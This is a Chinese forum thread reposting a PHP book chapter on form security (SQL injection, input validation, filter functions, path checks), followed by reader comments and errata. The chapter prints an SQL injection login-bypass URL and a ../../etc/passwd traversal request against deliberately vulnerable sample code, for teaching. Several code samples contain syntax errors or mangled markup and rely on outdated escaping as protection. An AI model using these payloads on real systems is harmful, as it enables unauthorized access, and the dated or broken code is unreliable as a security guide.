5.9.2预防SQL注入
好像有一段时间,我们忽略了这个很早就出现的问题,在2000年前后,若干ASP网站被这种漏洞击中,多少网站一夜之间被黑客攻击。
千万不要小看这个问题,其实现在这个问题仍然存在,在一些PHP脚本中,尤其在一些开源的用户管理程序中。很多这种漏洞是因为我们编写程序和设计数据库时的漏洞造成的,所以作为工程师一定要注意。
它到底有多重要呢?
完全的解决方案为:从用户输入中屏蔽错误,去掉不合格的数据,或避开细节范围的SQL特征。其实数据库管理系统的扩展接口专门提供了避免这个问题的函数,用它们就可以防止SQL注入。
影响:数据机密性、完整性,以及能够读取的有效性,修改(MODIFY)、删除(DELETE)以及销毁(DROP)数据库表时。
下面是MySQL数据库系统自带的防SQL注入的两个函数:
mysql_escape_string()
mysql_real_escape_string()
使用上述函数的代码例子如下:
PHP代码:
<?php
// undo magic_quotes_gpc to avoid double escaping
if (get_magic_quotes_gpc()) {
$_GET['name'] = stripslashes($_GET['name'];
$_GET['binary'] = stripslashes($_GET['binary']);
}
$name = mysql_escape_string ($_GET['name']);
$binary = mysql_escape_string ($_GET['binary']);
mysql_query($db, "INSERT INTO tbl (name,image)
VALUES('$name', '$image')");
?>
PHP代码:
<?php
$query = "SELECT login_id FROM users WHERE user='$user' AND pwd='$pw'";
mysql_query($query);
?>
http://domain.com/login.php?user=admin'%20OR%20(user='&pwd=')%20OR% 20user='就可能取得管理员的账号。
这样的攻击也很容易处理和预防,我们可以使用addslashes()函数来处理用户的输入,它会在输入的字符串中,寻找单引号('),双引号("),然后插入转义符号(\)和NUL符(\0)。还有其他的函数也是针对过滤输入的,如上面使用过的strip_tags()函数,另外还可在处理登录逻辑和方法上做文章,让攻击者无漏洞可钻。
作者: PHPChina 发布时间: 2007-10-23
这里我们讨论如何使我们的程序运行更安全,这是开发者的职责,应该切实的把握,避免错误发生。因此,我们需要开发一些技术去避免因用户不规范输入而给我们造成的麻烦。
5.10.1用户输入验证
一个非常重要的技术是如何从用户的输入中有效验证数据,从而保护我们的网站程序与数据。我们需要检查用户输入的全部内容:不管这个数据是从Cookies,GET方法或POST方法来的数据,我们都要检验。
除了在php.ini文件中把register_globals设置为Off外,还要把错误级别修改为E_ALL | E_STRICT,这样就可以阻止从外部请求的数据中生成全局变量,后面的设置是把错误级别设置为打开初始化变量的警告错误。
对于不同类型数据的表单提交,我们可以使用不同的方法来处理。如果我们需要一个参数通过URL的GET方法提交一个整型值,那么在程序中就要把这个参数强制转换为一个整型值,如以下代码所示。
PHP代码:
<?php
if (!isset($_GET['prod_id'])) {
echo "错误, product ID不能为空";
}else{
/* 强制转换为数值型变量 */
$product_id = (int) $_GET['prod_id'];
}
?>
我们看一个应用ctype扩展的例子:
PHP代码:
<?php
if (!ctype_alnum($_GET['login'])) {
echo "输入项必须为英文字符或数字0-9。";
}
if (!ctype_alpha($_GET['captcha'])) {
echo "输入项必须为英文字符(大小写均可)";
}
if (!ctype_xdigit($_GET['color'])) {
echo "输入项必须填写一个16进制数字。";
}
?>
5.10.3数据过滤 - PECL filter扩展
PHP 5的PECL扩展库提供了一个新功能-filter扩展。使用filter可以极大的简化表单验证的编码量,尤其是对PHP新手而言,对提高程序的安全性很有帮助,从而远离SQL注入和不充分的字符过滤处理。
可以到http://pecl.php.net/package/filter下载最新的版本。在编写本书时它仍处于beta版本。filter软件包提供了数据类型验证和数据编码两个功能,它提供以下几个主要函数:
filter_data――用于过滤数据;
filter_input――用于表单提交内容的过滤;
filter_var――变量内容的过滤,与filter_data和is_int()标准函数类似。
这3个函数绝大部分的功能都很类似,只不过应用于不同的场合,它们使用的参数也是通用的,如表5-5所示。
表5-5
常量名称 |
功 能 |
FILTER_VALIDATE_INT | 验证为整数,可以指定范围 |
FILTER_VALIDATE_FLOAT | 验证为浮点数 |
FILTER_ VALIDATE_REGEXP | 匹配一个PCRE正则表达式模式 |
FILTER_ VALIDATE_URL | 匹配一个URL |
FILTER_ VALIDATE_EMAIL | 匹配一个email地址 |
FILTER_SANITIZE_STRING | 去除超文本标签 |
FILTER_SANITIZE_ENCODED | 对字符串使用URL编码 |
FILTER_VALIDATE_IP | 验证值是否为IP地址 |
下面举例说明,请见如下脚本:
PHP代码:
<?php
var_dump(filter_data([email=]'[email protected]'[/email], FILTER_VALIDATE_EMAIL));
var_dump(filter_data('sobooo.com', FILTER_VALIDATE_EMAIL));
?>
string(15) "[email protected]"
NULL
由于字符串“sobooo.com”因为不是邮件地址的格式,因此被过滤后,显示为NULL值。
再看下面使用filter_input验证表单的脚本例子:
PHP代码:
<?php
// 如使用FILTER_VALIDATE_INT验证用户输入的QQ号码,表单有一个文本框名字为qq:
$qq = filter_input(INPUT_POST, 'qq', FILTER_VALIDATE_INT);
if (!empty($qq)) {
echo "<p>您的QQ号码: $qq</p>\n";
} else {
echo '<p>请输入正确的QQ号码(应为纯数字)</p>';
}
//使用URL 编码
$url = "http://post.sina.com.cn/file.php?a=1&b=编码";
//显示被编码后的URL地址
echo filter_var($url, FILTER_SANITIZE_ENCODED);
?>
PHP代码:
<?php
// 验证IP v4地址
$ip = "192.168.0.23";
if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === False){
echo "$ip 是非法IP地址";
}else {
echo "$ip 是正确的IP地址";
//验证IP是公网IP还是私有IP地址
if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === FALSE)
{
echo "$ip 为内部网私有IP地址";
}else{
echo "$ip 为公网IP地址";
}
}
?>
5.10.4input_get()函数
input_get()函数用来获取外部变量,如POST,GET全局数组,格式如下:
mixed input_get ( int type,string variable_name [,int filter [,mixed flags [,string charset]]] )
其中的几个参数含义如下所述。
type:该参数值可以是以下几个值中的一个,它们是INPUT_GET,INPUT_POST,INPUT_COOKIE,INPUT_SERVER,INPUT_ENV,INPUT_SESSION,还有一个99,目前是用来对$_REQUEST进行过滤。
variable_name:变量名。
filter:同filter_data,默认值为FILTER_DEFAULT。
flags:过滤标志。
charset:使用的字符集。
下面是一个使用input_get()函数的例子,代码如下:
PHP代码:
<?php
$search_html = input_get(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = input_get(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "您已经搜索到 $search_html.\n";
echo "<a href='?search=$search_url'>重新查询.</a>";
?>
您已经搜索到e & son.<br />
<a href='?search=Me%20%26%20son'>重新查询.</a>
在上面的代码中,$_GET['search']分别被两种不同过滤器过滤,产生的值也不相同,第一行的filter执行了类htmlspecialchars的操作,第二行则进行了urlencode操作。
说明:在PHP 5.1.4版本之前,不能用filter扩展库。
5.10.5路径检测
PHP应用程序应该安全地进行文件处理,在做操作时一定要进行验证,避免存取文件时访问一些系统或安全级别较高的文件,比如,用户使用如下的URL访问:
http://www.ourwebsite.com/script.php?path=../../etc/passwd
而我们的程序是这样写的:
PHP代码:
<?php
$fp = fopen("/home/dir/{$_GET['path']}", "r");
?>
PHP中有一个basename()的函数,可以用它来引导一个路径并移动每个文件,请见如下代码:
PHP代码:
<?php
$_GET["path"] = basename($_GET['path']);
//只有文件存在的情况才能打开文件
if (file_exists("/home/dir/{$_GET['path']}")) {
$fp = fopen("/home/dir/{$_GET['path']}", "r");
}
?>
5.10.6魔法引用magic_quotes_gpc
PHP提供magic_quotes_gpc魔法引用功能来保护我们的网站系统免受攻击,它会自动从用户的输入串中过滤特殊字符(',",\,\0 (NULL)),并减慢输入的过程。
检查使用magic_quotes_gpc的代码样例:
PHP代码:
if (get_magic_quotes_gpc()) { //检查magic_quotes_gpc的打开状态function strip_quotes(&$var) {
if (is_array($var){
array_walk($var, 'strip_quotes');
} else{
$var = stripslashes($var);
}
}//end func
// 处理GPC
foreach (array('GET','POST','COOKIE') as $v){
if (!empty(${"_".$v})){
array_walk(${"_".$v}, 'strip_quotes');
}
}
// 处理上传时的文件名称
if (!empty($_FILES)){
foreach ($_FILES as $k => $v) {
$_FILES[$k]['name'] = stripslashes($v['name']);
}
}
}
5.10.7其他高效的解决方案
由于magic_quotes_gpc的效率较低,我们使用其他方法来代替magic_quote_gpc魔法引用的功能,如下脚本:
PHP代码:
if (get_magic_quotes_gpc()) {$in = array(&$_GET, &$_POST, &$_COOKIE);
while (list($k,$v) = each($in)) {
foreach ($v as $key => $val) {
if (!is_array($val)) {
$in[$k][$key] = stripslashes($val);
continue;
}
$in[] =& $in[$k][$key];
}
}
unset($in);
}
在本章,我们一起讨论了在PHP 5环境中,表单的基本构成、原理,并且对用户表单提交的处理方法,数据验证等做了详细的讲述。
在做表单处理上,介绍了三种方法,这样可使你全面掌握PHP对表单的处理功能,本章还讲述了不太常用但有时候也会用到的import_request_variable()函数等,希望你在查看其他人编写的源码时遇到这样的函数而不至于迷惑。
在下一章,我们将学习在PHP中对数据的加密技术。
作者: PHPChina 发布时间: 2007-10-23
作者: forest 发布时间: 2007-10-23
作者: PHPChina 发布时间: 2007-10-23
引用:
清除与重置表单内容,用于清除表单中所有文本框的内容,而且使选择菜单项恢复到初始值作者: lmhllr 发布时间: 2007-10-23
作者: hdwong 发布时间: 2007-10-23
作者: chinays 发布时间: 2007-10-23
作者: chaizhiyong 发布时间: 2007-10-23
作者: xlmo 发布时间: 2007-10-23
作者: opensource.sun 发布时间: 2007-10-23
作者: jovistar 发布时间: 2007-10-23
作者: PHPChina 发布时间: 2007-10-23
作者: hszl 发布时间: 2007-10-23
引用:
原帖由 phpchina 于 2007-10-23 19:57 发表大家可以发表一些书评或是感想啊,我们提供10本作者亲笔签名的图书给大家呢.
书评不会写,写写流程和需求吧。:$
在书店看过这本书。大概的翻了翻,也找了些自己要查找的问题。感觉还不错,简单,通俗,易懂。但PHP书已经有3本了(圣经2本,案例一本),暂不想买了。
有个建议,希望该书能和PHPCHINA有个栏目互动。这样大家看书有问题,就可以提问。想百度知道那样,只需要注上页码:P135 第13行。 权威人士以问答形式解决大家书上遇到的问题。这样就和函授一样,比函授还好。肯定效果Very Good~

作者: hszl 发布时间: 2007-10-23
你有任何问题都欢迎提出

作者: phpcast 发布时间: 2007-10-23
人民邮电的书我不欣赏,但电子工业出版社的书我还是很信任的。我以前买过他们的网页制作三剑客,至少没有错字,说明出版社对读者也是很负责的。所以打算买这个书的人可以考虑下,作者很负责,出版社也是个很负责任的出版社,放心吧

作者: jyb21 发布时间: 2007-10-23

[ 本帖最后由 jyb21 于 2007-10-23 22:54 编辑 ]
作者: jyb21 发布时间: 2007-10-23
特别详细呀。
呵呵
我也只看了一章,还没看过全书。虽只看这一章觉得还是不错的。
希望下一版能分成上下两册。
为什么呢:
考虑到作者这本书是从入门到精通...所以可以分为入门册和精通册。
主要是考虑到现在市面上没有几本能真正做到入门到精通的,但如果太大本的话,拿起来也不方便。
或者说,下一版能在更高级应用方面多做文章,但考虑到作者写书是如此详细。我怕一本书印不完.......
作者: 深蓝色 发布时间: 2007-10-24
看过《开发圣经》和《Programming PHP I》
刚刚拜读了第五章的内容,真的很细致。例如:
action和method缺省情况下的默认值、input的所有属性列表等都做到了全面的讲解,很多都是大家平时没有注意的,虽然都是基础的知识,但是总有温故知新的感觉。
还有一个特点就是尽可能详尽的讲解和还原php的工作过程,这对于初学者是很重要的。很多人学php的时候只注重语法,知道他们是什么意思,但是对真正的工作原理不太关注,例如post传到哪里,为什么php可以取道,是从哪里取到的等等。这些原理相关的知识对深入了解php语言和数据库有很大的帮助。此书把语法和原理结合,不是很生硬,潜移默化的能达到由表及里的效果,这点也是读了第五章给我感觉最深的地方。
呵呵,还会继续关注,有什么心得还会写出来,也欢迎大家一起交流。
作者: lomo 发布时间: 2007-10-24
例如出错的时候会发出提示信息然后自动跳转到某个页面格式是:
header("refresh:3;url=test.php");
意思就是说3秒钟以后跳转到test.php这个页面。呵呵,这个我觉得比较实用。:D
作者: songmuyi 发布时间: 2007-10-24
所有的讲解都是实例化~~~这点本人非常喜欢!!!!!!~~不像某些资料书籍~~第一个例子"hello word"
期待什么时候能上架!!!!
作者: lihao812 发布时间: 2007-10-24
作者: 习明 发布时间: 2007-10-25
引用:
原帖由 习明 于 2007-10-25 11:40 发表看了一下 表单的处理中比较重要的一个部分:上传文件(type="file")的php处理好像几乎没有提到 是在其他章节有专门说明还是忽略了?
作者: phpcast 发布时间: 2007-10-25
[ 本帖最后由 zheman 于 2007-10-25 15:01 编辑 ]
作者: zheman 发布时间: 2007-10-25
引用:
原帖由 zheman 于 2007-10-25 14:59 发表我以前搞ASP开发的,仔细看了看这一章,发现自己还是有很多收获的,以前根本没有系统关注过它,另外所有的细节作者做的都很不错,比如action空值默认值还有method空值默认值,一个做事注重细节的人,我想书也不 ...
关于生成下拉菜单,正是你所见,本书在第二章的PHP基础的循环中做了描述。关于注释,如果读者读过了第二章有关foreach等语句的说明,相信会理解的。
您说的一些言语非常好,有的地方还需要再增强,当然有些事情的确是还有很多做得更好的余地,只要是为读者更好的理解,我在论坛上会尽力做好答疑解难的职责。
作者: phpcast 发布时间: 2007-10-25
想想刚开始学php的人只能看英文的手册,我们还是可以的,hoho!!!!
所以我很想给作者一个建议:一定要对读者负责!!!!
作者: bluetooth_swh 发布时间: 2007-10-25
作者: lomo 发布时间: 2007-10-25
能讲讲这部分吗?
第24章 XML与RSS 486
比较关注,呵呵
作者: bluetooth_swh 发布时间: 2007-10-25
刚才花了点时间把那个整理成了一个文件方便大家阅读,在网上看太不方便了,还是拿回家啃吧(有钱的感觉好还是花点小钱,学东西要舍得投资啊),咱现在没钱只能等着网上慢慢发了,希望重点都能整出来
就不用花钱了,哈哈!!!
如果版主或谁的好心支援咱一本那该多好啊:lol
上传
作者: jfcat 发布时间: 2007-10-25
这叫一个难受:Q
作者: jfcat 发布时间: 2007-10-25
作者: phpcast 发布时间: 2007-10-26
作者: dzdbutterfly 发布时间: 2007-10-26
引用:
原帖由 jfcat 于 2007-10-25 23:19 发表大概看了一下,感觉还不错,希望更多内容出来,好好学习一下,书这样不早点出呢,手上的书还有几本要看呢(刚买时间不长,要不就买你的了):)
刚才花了点时间把那个整理成了一个文件方便大家阅读,在网上看 ...
作者: 天使的魔鬼 发布时间: 2007-10-26
真有点看不够````
赶紧发下一章吧```
期待``
作者: zhujbing 发布时间: 2007-10-26
作者: xubin 发布时间: 2007-10-26
作者: Lilicl 发布时间: 2007-10-26
作者: Lilicl 发布时间: 2007-10-26
作者: chenjianzhen 发布时间: 2007-10-26
引用:
原帖由 xubin 于 2007-10-26 14:07 发表你把书的内容都发出来了人家还怎么卖啊?
作者: jfcat 发布时间: 2007-10-26
引用:
原帖由 chenjianzhen 于 2007-10-26 20:07 发表电子书还是比不上纸质的书有感觉
电子版仅做参考、借鉴,出门不能都把书背着,这样查资料方便,还有可以搜索效率更高
:D
作者: jfcat 发布时间: 2007-10-26
someform.php的
第16行:
应该是: echo "您的用户名: ".$_POST['username']."<br />";而不是作者所写的:$_POST['user_name'];
书我已经通过淘宝支付了,明天可以收到,希望这本书不要有太多小错误哦!!!!!!
作者: bluetooth_swh 发布时间: 2007-10-27
引用:
原帖由 bluetooth_swh 于 2007-10-27 17:38 发表例子中有个小错误:
someform.php的
第16行:
应该是: echo "您的用户名: ".$_POST['username']."";而不是作者所写的:$_POST['user_name'];
书我已经通过淘宝支付了,明天可以收到,希望这本书不要 ...
另外,有时候错误总难免,如果大家都把自己发现的错误提出来帮助改进那也是很好的。这里以后可以再加一个勘误专栏,免得新手看不明白(那也浪费时间啊)!!:D
作者: jfcat 发布时间: 2007-10-27
引用:
原帖由 bluetooth_swh 于 2007-10-27 17:38 发表例子中有个小错误:
someform.php的
第16行:
应该是: echo "您的用户名: ".$_POST['username']."";而不是作者所写的:$_POST['user_name'];
书我已经通过淘宝支付了,明天可以收到,希望这本书不要 ...
多了这个下划线,脚本也无法正确执行。
感谢你的支持与理解。:)
作者: phpcast 发布时间: 2007-10-27
引用:
原帖由 jfcat 于 2007-10-27 18:50 发表现在买东西真快啊!!!这位朋友很细心啊,向你学习,希望这只是输入时的错误而不是书上的小错误
另外,有时候错误总难免,如果大家都把自己发现的错误提出来帮助改进那也是很好的。这里以后可以再加一个勘 ...
还请大家多扔砖头;P
[ 本帖最后由 phpcast 于 2007-10-27 21:52 编辑 ]
作者: phpcast 发布时间: 2007-10-27
作者: 江大の才子 发布时间: 2007-10-28
用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复提交。
1.使用客户端脚本提到客户端脚本,经常使用的是JavaScript进行常规输入验证。在下面的例子中,我们使用它处理表单的重复提交问题,请看下面的代码:
[复制PHP代码] [ - ]PHP代码如下:
<form method="post" name="register" action="test.php" enctype="multipart/form-data">
<input name="text" type="text" id="text" />
<input name="cont" value="提交" type="button" FONT-FAMILY: 宋体; mso-ascii-font-family: 'Courier New'; mso-hansi-font-family: 'Courier New'">正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();">
</form>
作者: eery8145 发布时间: 2007-10-28
引用:
原帖由 eery8145 于 2007-10-28 15:08 发表5.8.3避免表单重复提交
用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复 ...
书中写的好详细例子很多要多看哦:D
作者: jfcat 发布时间: 2007-10-28
仔细看了本书内容觉得确实不错,应该是作者总结出的一些实际应用环境的开发经验。自己也是做PHP开发的,有不少东西都值得借鉴,如果有需要我也会购买的。
顺便提一句,5.2GET与POST的区别中提到"而且GET传递的字符串长度不能超过250个字符"并不准确,而且有这种误解的人似乎还不少。其实现在所用浏览器对GET的支持,都在2048个字符以上。我以前曾经对此进行过考证,有兴趣的话可参见下文:
《GET方式时的URL总长度》:http://blog.vontall.cn/read.php?13
作者: 涛tall 发布时间: 2007-10-28
<form method="post" name="register" action="test.php" enctype="multipart/form-data">
<input name="text" type="text" id="text" />
<input name="cont" value="提交" type="button" onClick="document.register.cont.value='正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();">
</form>
大概是楼主贴代码时被编辑器吃掉了。
作者: 涛tall 发布时间: 2007-10-28
172页数组options 上海的zip-code应该是021
= =
飘过
作者: viagra46 发布时间: 2007-10-28
引用:
原帖由 viagra46 于 2007-10-28 20:16 发表贴上一个无关轻重的小错误:
172页数组options 上海的zip-code应该是021
= =
飘过
作者: phpcast 发布时间: 2007-10-28
引用:
原帖由 涛tall 于 2007-10-28 15:51 发表起初看到的国人写的PHP书没抱太大希望,倒也算不上崇洋媚外,只是之前看过的一些国内的PHP类书藉实在是惨不忍睹。还不如直接翻手册来得实在。
仔细看了本书内容觉得确实不错,应该是作者总结出的一些实际应用环 ...
IE浏览器是支持2083长度的字符的(其它的浏览器未验证),因为GET方式为var=value&var1=value2的形式,对于英文大概在400个字符长度左右,因此传递汉字限制也就在200个左右。
针对提出255是常规性说法,是为了让开发者超过更长的数据传递表单时需要使用POST方法,而POST方法不是2083的长度,可以更多,这是由你的PHP.ini中的配置决定的。
其它请参阅本书中的说明文字,谢谢。
[ 本帖最后由 phpcast 于 2007-10-28 21:56 编辑 ]
作者: phpcast 发布时间: 2007-10-28
作者: eery8145 发布时间: 2007-10-29
作者: netuse 发布时间: 2007-10-29
《GET方式时的URL总长度》:http://blog.vontall.cn/read.php?13
顶 不错。
作者: dwp34998 发布时间: 2007-10-29
书挺贵,我倒还没买。我贴这段是从CSDN的试读上粘过来的,是正确的,所以估计原书应该也是对的。
作者: 涛tall 发布时间: 2007-10-29
作者: b136364111 发布时间: 2007-10-29
第一到第四章呢
作者: Edward_Sim 发布时间: 2007-10-30
作者: jfcat 发布时间: 2007-11-01
作者: zhoubuwen209 发布时间: 2007-11-02
作者: PHPChina 发布时间: 2007-11-02
引用:
原帖由 phpcast 于 2007-10-27 21:13 发表bluetooth_swh,你真细心。
多了这个下划线,脚本也无法正确执行。
感谢你的支持与理解。:)

[ 本帖最后由 jyb21 于 2007-11-2 19:13 编辑 ]
作者: jyb21 发布时间: 2007-11-02
作者: yuanjing_119 发布时间: 2007-11-05
作者: yuanjing_119 发布时间: 2007-11-05
作者: huzuteng 发布时间: 2007-11-06
作者: jusourt 发布时间: 2007-11-12
作者: jialong520 发布时间: 2007-11-12
作者: 希望收获 发布时间: 2007-11-13
作者: bhdgx 发布时间: 2007-11-13

作者: netstudy 发布时间: 2007-11-13
以下为本人修改的代码仅供参考:
<?php
$action = $_SERVER['PHP_SELF'];
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$ref = $_SERVER['HTTP_REFERER'];
///把以下三行改下啊 !
$srv.="http://";
$srv.=$_SERVER['SERVER_NAME'];
$srv.=$_SERVER['PHP_SELF'];
echo "当前来源为:<br><b>$ref</b><br>服务器地址为:<br><b>$srv</b><hr>";
if (strcmp($srv, $ref) == 0){
echo "匹配";
}
else{
echo "不允许站外提交";
}
}else{
echo '请提交表单';}
?>
<form action="<?php echo $action;?>" method="post">
<input type="submit" value="提交"/>
</form>
希望和大家一起交流,我感觉这本书很不错啊!!

作者: netstudy 发布时间: 2007-11-13
作者: xfsong 发布时间: 2007-11-13
或 卓越网(免费送货)
作者: fjchenq 发布时间: 2007-11-13
作者: jefsun 发布时间: 2007-11-14
作者: liumy601 发布时间: 2007-11-21

作者: luzhou 发布时间: 2007-11-21
不过,我猜想,这也是作者的亮点之章,
整本书的某些章节内容还是很一般的。
能有几个亮点章节这也很难得。
作者: professor 发布时间: 2007-11-23
作者: sblack 发布时间: 2008-01-07
作者: yunfeier 发布时间: 2008-01-08
作者: cbnuisve 发布时间: 2008-01-11
作者: dujiangtao 发布时间: 2008-01-14


作者: freezyye 发布时间: 2008-01-14
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$ref = $_SERVER['HTTP_REFERER'];
$srv = [url=http://{$_SERVER[]http://{$_SERVER['SERVER_NAME']}$action[/url]; echo "当前来源为:
$ref
服务器地址为:
$srv";
if (strcmp($srv, $ref) == 0){
echo "匹配";
}
else{
echo "不允许站外提交";
}
}else{
echo '请提交表单';}
?>
<FORM action="" method=post>
我有一个问题,程序中
红色的语句不会被注释掉吗?
作者: shumon85 发布时间: 2008-01-23

作者: 树叶冷了 发布时间: 2008-03-08
作者: gaoyongxin 发布时间: 2008-03-08
作者: henfeng 发布时间: 2008-03-26
作者: sugarfree 发布时间: 2008-04-12
作者: phpspy 发布时间: 2008-06-19
作者: 261622648 发布时间: 2008-07-20
作者: kakashi5240 发布时间: 2008-08-06
热门阅读
-
office 2019专业增强版最新2021版激活秘钥/序列号/激活码推荐 附激活工具
阅读:74
-
如何安装mysql8.0
阅读:31
-
Word快速设置标题样式步骤详解
阅读:28
-
20+道必知必会的Vue面试题(附答案解析)
阅读:37
-
HTML如何制作表单
阅读:22
-
百词斩可以改天数吗?当然可以,4个步骤轻松修改天数!
阅读:31
-
ET文件格式和XLS格式文件之间如何转化?
阅读:24
-
react和vue的区别及优缺点是什么
阅读:121
-
支付宝人脸识别如何关闭?
阅读:21
-
腾讯微云怎么修改照片或视频备份路径?
阅读:28